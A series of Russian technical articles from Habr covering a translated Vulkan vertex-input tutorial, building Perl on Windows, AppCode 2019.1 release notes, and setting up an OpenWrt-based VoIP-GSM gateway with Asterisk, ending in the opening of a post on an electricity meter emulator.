Я начинаю перевод нового раздела Vulkan Tutorial ([vulkan-tutorial.com](https://vulkan-tutorial.com/Vertex_buffers/Vertex_input_description)), который называется Vertex buffers. Сегодняшняя публикация посвящена первой главе раздела — Vertex input description.
**Содержание**
1. [Вступление](http://habr.com/ru/post/462137/)
2. [Краткий обзор](http://habr.com/ru/post/524992/)
3. [Настройка окружения](https://habr.com/ru/post/526320/)
4. [Рисуем треугольник](https://habr.com/ru/post/531196/)
1. [Подготовка к работе](https://habr.com/ru/post/531196/)
* [Базовый код](https://habr.com/ru/post/531196/#base)
* [Экземпляр (instance)](https://habr.com/ru/post/531196/#two)
* [Слои валидации](https://habr.com/ru/post/535342/)
* [Физические устройства и семейства очередей](https://habr.com/ru/post/537208/#phys)
* [Логическое устройство и очереди](https://habr.com/ru/post/537208/#logic)
2. Отображение на экране
* [Window surface](https://habr.com/ru/post/539174/)
* [Swap chain](https://habr.com/ru/post/542942/)
* [Image views](https://habr.com/ru/post/543288/)
3. [Графический конвейер (pipeline)](https://habr.com/ru/post/547576/)
* [Вступление](https://habr.com/ru/post/547576/)
* [Шейдерные модули](https://habr.com/ru/post/547576/#shader)
* [Непрограммируемые стадии конвейера](https://habr.com/ru/post/554492/)
* [Проходы рендера (Render passes)](https://habr.com/ru/post/560816/)
* [Заключение](https://habr.com/ru/post/560816/#conclusion)
4. Отрисовка
* [Фреймбуферы](https://habr.com/ru/post/564100/#frame)
* [Буферы команд](https://habr.com/ru/post/564100/#buffer)
* [Рендеринг и отображение на экране](https://habr.com/ru/post/567754/)
5. [Пересоздание swap chain](https://habr.com/ru/post/569912/)
5. [Вершинные буферы](https://habr.com/ru/post/571944/)
1. [Описание входных данных вершин](https://habr.com/ru/post/571944/)
2. [Создание вершинного буфера](https://habr.com/ru/post/573920/)
3. [Промежуточный буфер](https://habr.com/ru/post/578956/)
4. [Индексный буфер](https://habr.com/ru/users/alexandra_sky/posts/)
6. Uniform-буферы
1. [Layout дескрипторов и буфер](https://habr.com/ru/post/582838/)
2. Пул дескрипторов и сеты дескрипторов
7. Текстурирование
1. Изображения
2. Image view и image sampler
3. Комбинированный image sampler
8. Буфер глубины
9. Загрузка моделей
10. Создание мип-карт
11. Multisampling
FAQ
Политика конфиденциальности
Описание входных данных вершин
------------------------------
* [Вступление](#one)
* [Вершинный шейдер](#two)
* [Данные вершин](#three)
* [Описание привязки (binding)](#four)
* [Описание атрибутов](#five)
* [Входные данные пайплайна](#six)
### Вступление
В следующих главах мы заменим данные вершин, встроенные в вершинный шейдер, на вершинный буфер в памяти. Начнем с самого простого — создадим буфер видимый для CPU и используем **`memcpy`**, чтобы напрямую копировать в него данные вершин. Затем рассмотрим, как использовать промежуточный буфер для копирования данных вершин в высокопроизводительную память.
### Вершинный шейдер
Сначала изменим код вершинного шейдера и уберем из него данные вершин. Используем ключевое слово **`in`**, чтобы шейдер принимал данные из вершинного буфера.
```
#version 450
layout(location = 0) in vec2 inPosition;
layout(location = 1) in vec3 inColor;
layout(location = 0) out vec3 fragColor;
void main() {
gl_Position = vec4(inPosition, 0.0, 1.0);
fragColor = inColor;
}
```
Переменные **`inPosition`** и **`inColor`** — атрибуты вершин. Это свойства, которые указываются для каждой вершины в буфере точно так же, как мы указывали координаты и цвет с помощью массива в шейдере. Не забудьте заново скомпилировать вершинный шейдер!
Точно так же, как это было у **`fragColor`**, **`layout (location = x)`** присваивает индекс каждому атрибуту, чтобы в дальнейшем можно было ссылаться на них. Важно знать, что некоторые типы, например 64-битные векторы **`dvec3`**, используют несколько слотов. Это значит, что следующий индекс после него должен быть как минимум на 2 больше:
```
layout(location = 0) in dvec3 inPosition;
layout(location = 2) in vec3 inColor;
```
Дополнительную информацию о layout квалификаторе можно найти в **[OpenGL wiki](https://www.khronos.org/opengl/wiki/Layout_Qualifier_(GLSL))**.
### Данные вершин
Переместим данные вершин из кода шейдера в массив в коде нашей программы. Сначала подключим библиотеку GLM, которая предоставляет векторные и матричные типы. Мы будем использовать эти типы для координат и цвета.
```
#include
```
Создадим новую структуру **`Vertex`** с двумя атрибутами, которые соответствуют входным данным вершинного шейдера:
```
struct Vertex {
glm::vec2 pos;
glm::vec3 color;
};
```
GLM очень кстати предоставляет типы C ++, которые в точности соответствуют векторным типам, используемым в языке шейдеров.
```
const std::vector vertices = {
{{0.0f, -0.5f}, {1.0f, 0.0f, 0.0f}},
{{0.5f, 0.5f}, {0.0f, 1.0f, 0.0f}},
{{-0.5f, 0.5f}, {0.0f, 0.0f, 1.0f}}
};
```
Используя структуру **`Vertex`**, укажем массив данных вершин. Мы используем те же значения координат и цвета, что и раньше, но теперь они объединены в один массив вершин.
### Описание привязки (binding)
Следующий шаг — сообщить Вулкану, как передавать такой формат данных в вершинный шейдер после того, как данные оказались в графической памяти. Для этого нужны 2 типа структур.
Первая структура — **`[VkVertexInputBindingDescription](https://www.khronos.org/registry/vulkan/specs/1.2-extensions/man/html/VkVertexInputBindingDescription.html)`**. Добавим метод в структуру **`Vertex`**, чтобы заполнить ее нужными данными.
```
struct Vertex {
glm::vec2 pos;
glm::vec3 color;
static VkVertexInputBindingDescription getBindingDescription() {
VkVertexInputBindingDescription bindingDescription{};
return bindingDescription;
}
};
```
Эта структура определяет, как данные располагаются в памяти. В ней мы указываем расстояние между элементами данных в байтах и то, когда следует переходить к следующей записи данных — после каждой вершины или после каждого экземпляра (instance).
```
VkVertexInputBindingDescription bindingDescription{};
bindingDescription.binding = 0;
bindingDescription.stride = sizeof(Vertex);
bindingDescription.inputRate = VK_VERTEX_INPUT_RATE_VERTEX;
```
Все наши данные собраны в один массив, поэтому у нас будет только одна привязка. Параметр **`binding`** указывает номер привязки в массиве. Параметр **`stride`** указывает расстояние между элементами данных. А параметр **`inputRate`** может иметь одно из следующих значений:
* **`VK_VERTEX_INPUT_RATE_VERTEX`**: переход к следующему элементу данных происходит после каждой вершины
* **`VK_VERTEX_INPUT_RATE_INSTANCE`**: переход к следующему элементу данных происходит после каждого экземпляра (instance)
Мы будем использовать **`VK_VERTEX_INPUT_RATE_VERTEX`**.
### Описание атрибутов
Вторая структура — **`[VkVertexInputAttributeDescription](https://www.khronos.org/registry/vulkan/specs/1.2-extensions/man/html/VkVertexInputAttributeDescription.html)`**. Она описывает, как интерпретировать входные данные вершин. Добавим еще одну вспомогательную функцию в **`Vertex`**, чтобы заполнить структуры.
```
#include
...
static std::array getAttributeDescriptions() {
std::array attributeDescriptions{};
return attributeDescriptions;
}
```
Как указывает прототип функции, таких структур будет две. Каждая из структур описывает, как получить отдельный атрибут из куска данных, извлеченного из буфера для вершины. У нас два атрибута — координаты и цвет, поэтому нам нужны две такие структуры.
```
attributeDescriptions[0].binding = 0;
attributeDescriptions[0].location = 0;
attributeDescriptions[0].format = VK_FORMAT_R32G32_SFLOAT;
attributeDescriptions[0].offset = offsetof(Vertex, pos);
```
Параметр **`binding`** сообщает Vulkan, от какой привязки поступают данные для вершины. Параметр **`location`** ссылается на директиву **`location`** в вершинном шейдере. В нашем шейдере значение **`location = 0`** соответствует координатам вершины. Координаты представлены двумя 32-разрядными числами типа float.
Параметр **`format`** описывает тип данных для атрибута. Может показаться странным, что для format используется такое же перечисление, что и для форматов цвета. Обычно используют такие соответствия типа и формата:
* **`float`**: **`VK_FORMAT_R32_SFLOAT`**
* **`vec2`**: **`VK_FORMAT_R32G32_SFLOAT`**
* **`vec3`**: **`VK_FORMAT_R32G32B32_SFLOAT`**
* **`vec4`**: **`VK_FORMAT_R32G32B32A32_SFLOAT`**
Как вы видите, необходимо использовать формат, в котором количество цветовых каналов совпадает с количеством компонентов в типе данных шейдера. Можно использовать больше каналов, чем количество компонентов в шейдере, но они будут автоматически отброшены. Если количество каналов меньше количества компонентов, компоненты GBA будут использовать значения по умолчанию **`(0, 0, 1)`**. Тип цвета (**`SFLOAT`**, **`UINT`**, **`SINT`**) и разрядность также должны соответствовать типу входных данных шейдера. Ниже представлены примеры:
* **`ivec2`**: **`VK_FORMAT_R32G32_SINT`**, двухкомпонентный вектор 32-битных целых чисел со знаком
* **`uvec4`**: **`VK_FORMAT_R32G32B32A32_UINT`**, 4-компонентный вектор 32-битных целых чисел без знака
* **`double`**: **`VK_FORMAT_R64_SFLOAT`**, число с плавающей запятой двойной точности (64-битное)
Параметр **`format`** неявно определяет размер данных атрибута в байтах, а параметр **`offset`** указывает смещение данных атрибута от начала считанного для вершины куска. Данные для каждой из вершин загружаются в виде структуры **`Vertex`**, а атрибут **`pos`** смещен на **`0`** байт от начала этой структуры. Можно использовать макрос **`offsetof`**, чтобы делать эти расчеты автоматически.
```
attributeDescriptions[1].binding = 0;
attributeDescriptions[1].location = 1;
attributeDescriptions[1].format = VK_FORMAT_R32G32B32_SFLOAT;
attributeDescriptions[1].offset = offsetof(Vertex, color);
```
Аналогично описывается атрибут цвета.
### Входные данные пайплайна
Теперь изменим метод **`createGraphicsPipeline`**, добавив ссылки на наши структуры, чтобы пайплайн принимал данные вершин в нужном формате. Найдем **`vertexInputInfo`** и добавим туда ссылки:
```
auto bindingDescription = Vertex::getBindingDescription();
auto attributeDescriptions = Vertex::getAttributeDescriptions();
vertexInputInfo.vertexBindingDescriptionCount = 1;
vertexInputInfo.vertexAttributeDescriptionCount = static_cast(attributeDescriptions.size());
vertexInputInfo.pVertexBindingDescriptions = &bindingDescription
vertexInputInfo.pVertexAttributeDescriptions = attributeDescriptions.data();
```
Теперь конвейер может принимать данные вершин и передавать их в наш вершинный шейдер. Но если запустить программу с включенными слоями валидации, вы увидите предупреждение, что буфер вершин, относящийся к привязке, отсутствует. Следующим шагом будет создание вершинного буфера и перемещение в него данных вершин, чтобы GPU мог получить к ним доступ.
**`[Код C++](https://vulkan-tutorial.com/code/17_vertex_input.cpp)`** / **`[Вершинный шейдер](https://vulkan-tutorial.com/code/17_shader_vertexbuffer.vert)`** / **`[Фрагментный шейдер](https://vulkan-tutorial.com/code/17_shader_vertexbuffer.frag)`** | https://habr.com/ru/post/571944/ | null | ru | null |
# Компиляция Perl под Windows
Под Microsoft Windows существует несколько популярных дистрибутивов Perl.
Это Strawberry Perl и ActivePerl. Первый предназначен исключительно для Windows, второй собирается под различные платформы (полный список можно найти на официальном сайте). Важно учесть, что в ActivePerl, модули распространяются в уже готовом виде, и бывает так, что приходится ждать пока обновят репозитории.
В этом небольшом HowTo я расскажу, как подготовить рабочую среду Perl из сорцов.
#### Подготовка
Для сборки нам понадобятся: компилятор и SDK.
1. Качаем и устанавливаем [Visual C++ Express](http://www.microsoft.com/express/download/).
2. Microsoft Windows SDK можно взять [здесь](http://www.microsoft.com/downloads/details.aspx?FamilyId=F26B1AA4-741A-433A-9BE5-FA919850BDBF&displaylang=en)
После установки необходимо прописать пути в PATH. Для этого заходим в «Дополнительные параметры системы — переменные среды...»
Добавляем в PATH: C:\Program Files\Microsoft Visual Studio 9.0\VC\bin и нажимаем ОК.
3. Качаем исходные коды стабильной ветви Perl ([5.10.1](http://www.perl.org/get.html)) и распаковываем архив в любую папку.
открываем в текстовом редакторе win32/Makefile
Выставляем переменные INST\_DRV, INST\_TOP, CCTYPE.
В моем случае CCTYPE = MSVC90FREE (возможно у Вас другая версия студии).
Остальное можно не менять.
#### Сборка
Запускаем терминал (cmd.exe) и переходим в папку с сорцами/win32.
`C:\BUILD\perl-5.10.1\win32> call VCVARS32.BAT
C:\BUILD\perl-5.10.1\win32> nmake`
Процесс пошел :)
`C:\BUILD\perl-5.10.1\win32> nmake test
C:\BUILD\perl-5.10.1\win32> nmake install`
После установки добавляем в PATH пути до перла.
C:\perl-5.10.1l\bin;C:\perl-5.10.1\site\bin
Еще можно определить PERL5LIB.
Готово. Запускаем терминал, далее call VCVARS32.BAT, и начинаем устанавливать с CPAN нужные модули
`C:\> cpan LWP::UserAgent
C:\> cpan WWW::Mechanize
...` | https://habr.com/ru/post/78034/ | null | ru | null |
# AppCode 2019.1: Swift 5, улучшенная работа подсветки, навигации и автодополнения, перемещение выражений и многое другое
Всем привет!
Неделю назад мы выпустили AppCode 2019.1 — поговорим об изменениях в нем. Под катом куча нового, полезного, исправленного и дополненного.
Swift
=====
Swift 5
-------
Все новые возможности Swift 5 корректно работают в AppCode 2019.1:
* [SE-0200](https://github.com/apple/swift-evolution/blob/master/proposals/0200-raw-string-escaping.md) Raw text literals
* [SE-0213](https://github.com/apple/swift-evolution/blob/master/proposals/0213-literal-init-via-coercion.md) Literal initialization via coercion
* [SE-0216](https://github.com/apple/swift-evolution/blob/master/proposals/0216-dynamic-callable.md) Dynamic callables
* [SE-0224](https://github.com/apple/swift-evolution/blob/master/proposals/0224-ifswift-lessthan-operator.md) Support 'less than' operator in compilation conditions
* [SE-0227](https://github.com/apple/swift-evolution/blob/master/proposals/0227-identity-keypath.md) Identity key path
* [SE-0228](https://github.com/apple/swift-evolution/blob/master/proposals/0228-fix-expressiblebystringinterpolation.md) Fix `ExpressibleByStringInterpolation`
* [SE-0230](https://github.com/apple/swift-evolution/blob/master/proposals/0230-flatten-optional-try.md) Flatten nested optionals resulting from `try?`
Переименование
--------------
Была проблема с переименованием перегруженных методов и методов класса-родителя — а теперь ее нет.
Навигация к определению
-----------------------
Казалось бы, что может быть проще и элементарнее перехода к определению метода или класса? Стандартное, привычное действие.
И все действительно так в Objective-C: название типа при инициализации объекта стоит отдельно, сам метод-инициализатор — отдельно. Соответственно, если курсор стоит на названии типа, мы переходим к определению типа, если на инициализаторе — к определению инициализатора. А вот в Swift все становится сложнее. Инициализатор слился с названием типа воедино, и, если воспроизводить поведение Xcode, теряем возможность перехода именно к инициализатору. Если же оставлять поведение AppCode 2018.3.x, ломаем привычку пользователя (“как в Xcode”, то есть переход не к определению инициализатора, а к определению типа). Это по понятным причинам не нравится пользователям.
В итоге выработали серединное решение: все-таки выражение, инициализирующее объект в Swift, по-прежнему состоит из двух частей. Все, что до круглых скобок, — название типа, а все внутри — сигнатура инициализатора. Поэтому, если курсор стоит на названии типа, переходим к определению типа, если внутри круглых скобок — к определению инициализатора:
Оба сценария использования сохранены, все счастливы.
Перемещение выражений
---------------------
Пока пользователи Xcode выделяют мышкой и копипастят, пользователи AppCode ставят курсор на выражение и двигают его целиком легким нажатием `⇧⌘↑`/`↓`:
Работает для циклов, функций, методов, классов, условий, в общем, почти для всего.
Многострочные литералы
----------------------
Как превратить однострочный литерал в многострочный? В AppCode теперь достаточно нажать `⏎`:
Подсветка, автодополнение, анализ кода и все-все-все
====================================================
Чем корректнее мы строим дерево символов, которое используется для подсветки, анализа кода, навигации и прочих функций IDE (даже для отображения переменных в отладчике), тем лучше и правильнее будет работать AppCode. В этом релизе мы решили несколько фундаментальных проблем, которые портили жизнь пользователям:
* Мы стали строить символы библиотек и для симуляторов, и для устройств. Раньше строили только для симулятора.
* Сделав это, стали корректно определять текущую платформу (симулятор/устройство) и правильно передавать ее clang-annotator в Objective-C и SourceKit в Swift. Почему это важно? Например, SourceKit не будет отображать ошибки и предупреждения, если ему некорректно передать в аргументах папку с продуктами сборки. Эта проблема должна исчезнуть.
* Стали правильно обрабатывать DerivedSources и все исходники, сгенерированные в этой папке (Core Data, Intents).
Objective-C/C/C++
=================
Коллеги из [CLion](https://www.jetbrains.com/clion/) добавили стили именования кодовых конструкций для C/C++, а мы их получили еще и для Objective-C (`Preferences | Editor | Code Style | C/C++/Objective-C | Naming Convention)`:
Запуск и отладка
================
AppCode теперь умеет присоединяться к процессам, запущенным не только на симуляторе, но и на устройстве (`⇧⌘A` → `Attach to process`):
В настройки конфигураций запуска добавлена возможность выбора языка и региона приложения:
**Run to Cursor** можно вызывать не только через `⌥F9`, но и нажатием на номер строки в редакторе:
Пересчет переменных при отладке теперь можно запретить с помощью действия **Mute Variables** в контекстном меню:
Темы для IDE
============
Внимательный читатель уже заметил, что все скриншоты в посте сделаны с использованием новой темы оформления [Dark Purple](https://plugins.jetbrains.com/plugin/12100-dark-purple-theme):
Темы IDE теперь [можно делать самостоятельно](http://www.jetbrains.org/intellij/sdk/docs/reference_guide/ui_themes/themes_intro.html), поэтому в [репозитории плагинов](https://plugins.jetbrains.com/search?tags=Theme) кроме нескольких тем, сделанных нами, уже можно найти несколько пользовательских вариантов оформления. А до 3-го мая можно не только сделать свою тему, но и [поучаствовать в конкурсе](https://plugins.jetbrains.com/contest/intellij-themes/2019), недавно анонсированном нами.
Список недавно просмотренных / измененных участков кода
=======================================================
Есть несколько полезных действий для навигации к недавно открытым или измененным местам в коде:
* Recent Files (`⌘E`)
* Switcher (`⌃⇥`)
* Jump to Last Edit Location (`⇧⌘⌫`)
Перемещение к последнему отредактированному участку кода вообще сложно переоценить, особенно когда редактируешь файл большого размера.
Теперь появился еще и список недавно просмотренных / измененных мест **Recent Locations** (`⇧⌘E`):
Вот такой получился релиз. Все вопросы, пожелания и даже баг-репорты пишите прямо тут в комментариях — будем рады ответить!
*Команда AppCode* | https://habr.com/ru/post/448462/ | null | ru | null |
# Делаем VoIP GSM шлюз из Tp-link mr-3020 и Huawei E-171 — часть первая
#### Сказ о том как взять пару маленьких устройств и получить нечто большее или TP-LINK MR3020 + Huawei E171 = VoIP<->GSM
> *Только женщина может часа два мило щебетать по телефону, а потом спросить: «А с кем я говорю?» – и выяснить, что человек просто ошибся номером.*
На этот сказ меня сподвигли 2 женщины и счет за телефон. Так уж сложилось, что дома практически не работает сотовая связь — или выходить на балкон или использовать домашний dect, точнее он не совсем dect — он dect PSTN + IP, последнее и стало решающим фактором.
Оговорюсь сразу, кто хорошо знаком с openwrt не найдет для себя ничего нового.
Итак роутер TP-Link mr-3020 и донгл Huawei e-171, в принципе подойдет и другой, но для удобства, чтобы не брать в руки паяльник лучше всеж с флешкой на борту.
Первым делом надо разблокировать модем, это уже привычка, думать о том, что может никогда и не понадобится :)
Заострять внимания на этом не буду, мест много, мне понравилось [тут](http://huawei-mod.narod.ru/)
Далее переводим модем в режим Modem + CardReader.
Для этого используем AT команду.
```
AT^U2DIAG=256
```
и включим голосовую функцию
```
AT^CVOICE=0
```
Отложим пока модем и вернемся к роутеру, на него надо установить openwrt, у кого родная прошивка могут просто прошить из web-интерфейса, у меня была openwrt, поэтому захожу на mr-3020 и переустанавливаю в консоли
```
cd /tmp/
wget http://downloads.openwrt.org/snapshots/trunk/ar71xx/openwrt-ar71xx-generic-tl-mr3020-v1-squashfs-factory.bin
mtd -r write /tmp/openwrt-ar71xx-generic-tl-mr3020-v1-squashfs-factory.bin firmware
```
Я специально использовал версию из trunk, т.к. в RC1 присутствует лишний на этом этапе веб интерфейс, но можно использовать и RC1.
После перезагрузки, выставляем основные настройки.
```
passwd
vi /etc/config/network
```
```
config interface 'lan'
option ifname 'eth0'
option type 'bridge'
option proto 'static'
option ipaddr '192.168.5.5'
option netmask '255.255.255.0'
option gateway '192.168.5.254'
list dns '8.8.8.8'
list dns '192.168.5.254'
```
```
echo /etc/config/ >> /etc/sysupgrade.conf
reboot
```
Устанавливаем необходимые пакеты, прийдется перенести на microSD rootfs, точнее по терминологии openwrt это будет pivotroot.
```
opkg install kmod-usb-storage block-mount kmod-fs-ext4 kmod-usb-uhci kmod-usb2
```
Если ставили trunk, не RC1, то ещё должно поместиться e2fsprogs и fdisk, тогда можно будет подготовить флэшку прям в роутере, иначе прийдется это делать на сторонней машине.
```
opkg install e2fsprogs fdisk
```
Если вы собираетесь использовать swap на флеш, не забудьте проверить наличие swap-utils
Размечаем flash, я здесь не использую swap.
```
fdisk /dev/sda
```
создаем раздел, форматируем и клонируем overlay
```
mkfs.ext4 /dev/sda1
mount /dev/sda1 /mnt/
tar -C /overlay -cvf - . | tar -C /mnt/ -xvf -
```
Далее приводим /etc/config/fstab к виду:
```
config mount
option target /overlay
option device /dev/sda1
option fstype ext4
option options rw,sync
option enabled 1
option enabled_fsck 0
```
И вот тут началось самое интересное, если делать coldreset т.е. отключать питание, то pivotroot ни в какую не монтируется, после загрузки появляется устройство /dev/sda, а /dev/sda1 нет, либо пока не «потрогать» каким-нибудь образом /dev/sda т.е. не сделать blkid /dev/sda либо head /dev/sda либо mount /dev/sda /mnt, после любого из этих способов, либо после перетыкания донгла, все появляется, но поезд как говорится ушел и уже /overlay смонтирован как и без флеш, места катастрофически не хватает, очень подмывало просто добавить reboot где-нибудь в стартовые скрипты, т.к. если делать hotreset при помощи reboot в консоли, все как по-волшебству работало.
вот пример холодного старта, часть вывода, в которой видно как уходит на jffs2, там где ожидается увидеть pivotroot с ext4
```
- merge overlay components -
[ 7.720000] SCSI subsystem initialized
[ 7.900000] usbcore: registered new interface driver usbfs
[ 7.900000] usbcore: registered new interface driver hub
[ 7.910000] usbcore: registered new device driver usb
[ 8.410000] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
[ 8.420000] ehci-platform ehci-platform: Generic Platform EHCI Controller
[ 8.430000] ehci-platform ehci-platform: new USB bus registered, assigned bus number 1
[ 8.460000] ehci-platform ehci-platform: irq 3, io mem 0x1b000000
[ 8.480000] ehci-platform ehci-platform: USB 2.0 started, EHCI 1.00
[ 8.480000] hub 1-0:1.0: USB hub found
[ 8.480000] hub 1-0:1.0: 1 port detected
[ 8.500000] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
[ 8.540000] uhci_hcd: USB Universal Host Controller Interface driver
[ 8.600000] Initializing USB Mass Storage driver...
[ 8.610000] usbcore: registered new interface driver usb-storage
[ 8.610000] USB Mass Storage support registered.
[ 8.810000] usb 1-1: new high-speed USB device number 2 using ehci-platform
[ 8.970000] scsi0 : usb-storage 1-1:1.3
[ 9.970000] scsi 0:0:0:0: Direct-Access HUAWEI SD Storage 2.31 PQ: 0 ANSI: 2
[ 9.980000] sd 0:0:0:0: [sda] Attached SCSI removable disk
switching to jffs2
- init -
```
и последствия
```
root@OpenWrt:~# ls /dev/|grep sda
sda
root@OpenWrt:~# df -h
Filesystem Size Used Available Use% Mounted on
rootfs 1.3M 1.2M 152.0K 89% /
/dev/root 1.5M 1.5M 0 100% /rom
tmpfs 14.2M 60.0K 14.1M 0% /tmp
tmpfs 512.0K 0 512.0K 0% /dev
/dev/mtdblock3 1.3M 1.2M 152.0K 89% /overlay
overlayfs:/overlay 1.3M 1.2M 152.0K 89% /
```
Перепробовав разные варианты, как ни странно, кроме mount ничего не помогло, то что помогало после загрузки «растолкать» /dev/sda ни в какую не помогало во время загрузки, спас mount.
Пришлось подправить /lib/preinit/50\_determine\_usb\_root
```
vi /lib/preinit/50_determine_usb_root
[ -n "$extroot_settle_time" ] && [ "$extroot_settle_time" -gt 0 ] && {
sleep $extroot_settle_time
echo -----dirty workaround Huawei gsm dongle cardreader -----
sleep 2
mount /dev/sda /mnt
sleep 10
}
```
После этого все получилось
```
- merge overlay components -
[ 7.720000] SCSI subsystem initialized
[ 7.900000] usbcore: registered new interface driver usbfs
[ 7.910000] usbcore: registered new interface driver hub
[ 7.920000] usbcore: registered new device driver usb
[ 8.420000] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
[ 8.420000] ehci-platform ehci-platform: Generic Platform EHCI Controller
[ 8.430000] ehci-platform ehci-platform: new USB bus registered, assigned bus number 1
[ 8.470000] ehci-platform ehci-platform: irq 3, io mem 0x1b000000
[ 8.490000] ehci-platform ehci-platform: USB 2.0 started, EHCI 1.00
[ 8.490000] hub 1-0:1.0: USB hub found
[ 8.490000] hub 1-0:1.0: 1 port detected
[ 8.510000] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
[ 8.550000] uhci_hcd: USB Universal Host Controller Interface driver
[ 8.620000] Initializing USB Mass Storage driver...
[ 8.620000] usbcore: registered new interface driver usb-storage
[ 8.630000] USB Mass Storage support registered.
[ 8.820000] usb 1-1: new high-speed USB device number 2 using ehci-platform
[ 8.980000] scsi0 : usb-storage 1-1:1.3
[ 9.980000] scsi 0:0:0:0: Direct-Access HUAWEI SD Storage 2.31 PQ: 0 ANSI: 2
[ 9.990000] sd 0:0:0:0: [sda] Attached SCSI removable disk
-----dirty workaround Huawei gsm dongle cardreader -----
[ 30.670000] sd 0:0:0:0: [sda] 3854336 512-byte logical blocks: (1.97 GB/1.83 GiB)
[ 30.680000] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA
[ 30.690000] sda: sda1
[ 41.850000] EXT4-fs (sda1): recovery complete
[ 42.130000] EXT4-fs (sda1): mounted filesystem with ordered data mode. Opts: (null)
switching to external rootfs
- init -
```
и результат
```
root@OpenWrt:~# df -h
Filesystem Size Used Available Use% Mounted on
rootfs 1.8G 37.1M 1.7G 2% /
/dev/root 1.5M 1.5M 0 100% /rom
tmpfs 14.2M 408.0K 13.8M 3% /tmp
tmpfs 512.0K 0 512.0K 0% /dev
/dev/sda1 1.8G 37.1M 1.7G 2% /overlay
overlayfs:/overlay 1.8G 37.1M 1.7G 2% /
```
Доставляем, то что не могли поставить без pivotroot т.к. не хватало места и то что просто хочется, тут уже можно по вкусу добавлять mc, luci и т.д.
opkg install kmod-usb-serial kmod-usb-serial-option usb-modeswitch usb-modeswitch-data
после установки kmod-usb-serial проверяем наличие ttyUSB
```
ls /dev | grep USB
ttyUSB0
ttyUSB1
ttyUSB2
```
изучаем [wiki.openwrt.org/ru/doc/howto/build](http://wiki.openwrt.org/ru/doc/howto/build) и берем исходные коды для версии которая у нас на tp-link trunk или release/release candidate
качаем asterisk-chan-dongle, он необходим, для работы asteriska со «свистком»
[code.google.com/p/asterisk-chan-dongle/downloads/list](https://code.google.com/p/asterisk-chan-dongle/downloads/list)
распаковываем и копируем в дерево пакетов
cp -vrf chan\_dongle-1.1.r14/contrib/openwrt/asterisk18-chan-dongle attitude\_adjustment/feeds/packages/net/
правим feeds/packages/net/asterisk18-chan-dongle/Makefile под нашу версию астериска
```
WITH_ASTERISK=asterisk-1.8.3.2
```
на ( root@OpenWrt:~# asterisk -V, если не собран grep PKG\_VERSION:= ./feeds/packages/net/asterisk-1.8.x/Makefile )
```
WITH_ASTERISK=asterisk-1.8.10.1
```
иначе не соберется.
И собираем пакетом chan-dongle
```
Target System (Atheros AR7xxx/AR9xxx) --->
Target Profile (TP-LINK TL-MR3020) --->
Network --->
asterisk18 (Complete Open Source PBX), v1.8.x --->
asterisk18-chan-dongle..................... Huawei UMTS 3G dongle support
```
Копируем собранное на tp-link.
```
scp attitude_adjustment/bin/ar71xx/packages/asterisk18-chan-dongle_1.1.r10-18_ar71xx.ipk root@192.168.5.5:/overlay/
```
Также лучше перенести libiconv-full и asterisk18 с которыми собирался chan-dongle в моем случае это
attitude\_adjustment/bin/ar71xx/packages/libiconv-full\_1.11.1-1\_ar71xx.ipk
attitude\_adjustment/bin/ar71xx/packages/asterisk18\_1.8.10.1-2\_ar71xx.ipk
иначе велик шанс увидеть много нового вроде такого:
```
OpenWrt*CLI> module load chan_dongle.so
Unable to load module chan_dongle.so
Command 'module load chan_dongle.so' failed.
WARNING[1854]: loader.c:777 inspect_module: Module 'chan_dongle.so' was not compiled with the same compile-time options as this version of Asterisk.
WARNING[1854]: loader.c:778 inspect_module: Module 'chan_dongle.so' will not be initialized as it may cause instability.
WARNING[1854]: loader.c:861 load_resource: Module 'chan_dongle.so' could not be loaded.
```
Хотя надо сказать, что libiconv-full я ставил opkg-м с интернета, а вот asterisk и chan-dongle взял те, что собирал сам, т.к. я их делал в rc1 а в trunk-е уже была другая версия asterisk-a.
Устанавливаем и проверяем.
```
opkg install /overlay/asterisk18_1.8.10.1-2_ar71xx.ipk libiconv-full /overlay/asterisk18-chan-dongle_1.1.r10-18_ar71xx.ipk
/etc/init.d/asterisk start
asterisk -rv
OpenWrt*CLI> dongle show devices
ID Group State RSSI Mode Submode Provider Name Model Firmware IMEI IMSI Number
dongle0 0 Free 22 0 0 Beeline E171 11.126.85.01.143 **********1 2**************** Unknown
```
Настройку asterisk-а можно посмотреть [тут](http://habrahabr.ru/post/160299/).
UPD: и [тут](http://habrahabr.ru/post/125186/).
На сегодня я до неё не дошел, как и до паяльника, чтобы сделать импровизированное PoE.
UPD: [Часть 2](http://habrahabr.ru/post/172345/) | https://habr.com/ru/post/170749/ | null | ru | null |
# Эмулятор электросчётчиков
Ряд наших устройств имеет встроенный порт RS-485 для прямого подключения электросчётчиков, имеющих данный интерфейс. Для облегчения тестирования устройств мы разработали небольшую программу-эмулятор. Именно о ней дальше и пойдёт речь.
Данная статья появилась после написания предыдущей про [эмулятор ИБП](https://habr.com/ru/company/spd/blog/556588/).
Идея эмулятора оказалась очень полезной. С его помощью были отловлены некоторые баги в «прошивках» микроконтроллеров.
В итоге возникла идея реализовать то же самое и с электросчётчиками. Ранее отладку мы вели очень просто, вот на таком вот стенде:
Подключая по очереди каждый из электросчётчиков, разработчик «прошивки» убеждался в корректности считывания данных.
Надо сказать, что современные электросчётчики достаточно навороченные, но мы снимаем с них не всю информацию, а только следующие параметры:
* Серийный номер
* Напряжение сети (В)
* Частота сети (Гц)
* Ток нагрузки (А)
* Мощность нагрузки (Вт)
* Текущее значение тарифов (кВт x ч)
Начинали мы с модели «Меркурий 206», но постепенно список стал расширяться. На текущий момент у нас поддерживаются четыре модели:
* Инкотекс-СК «Меркурий 206»
* Энергомера «СЕ102»
* Энергомера «СЕ102М»
* IEK «STAR 104/1»
В будущем наверняка добавим поддержку и других приборов учёта.
Каждый электросчётчик имеет свой протокол работы и свою скорость обмена данными по RS‑485 интерфейсу. Ниже я хочу кратко рассказать об особенностях каждого из них.
### Инкотекс-СК «Меркурий 206»
Данный счётчик весьма популярен, по нему несложно найти примеры подключения и примеры кода для считывания информации.
Счётчик подключается к считывающему устройству четырьмя проводами: линии A, B интерфейса RS-485, питание и «земля».
Скорость обмена данными 9600 бит/сек без контроля чётности.
Напряжение питания может быть в диапазоне от 6 до 12В.
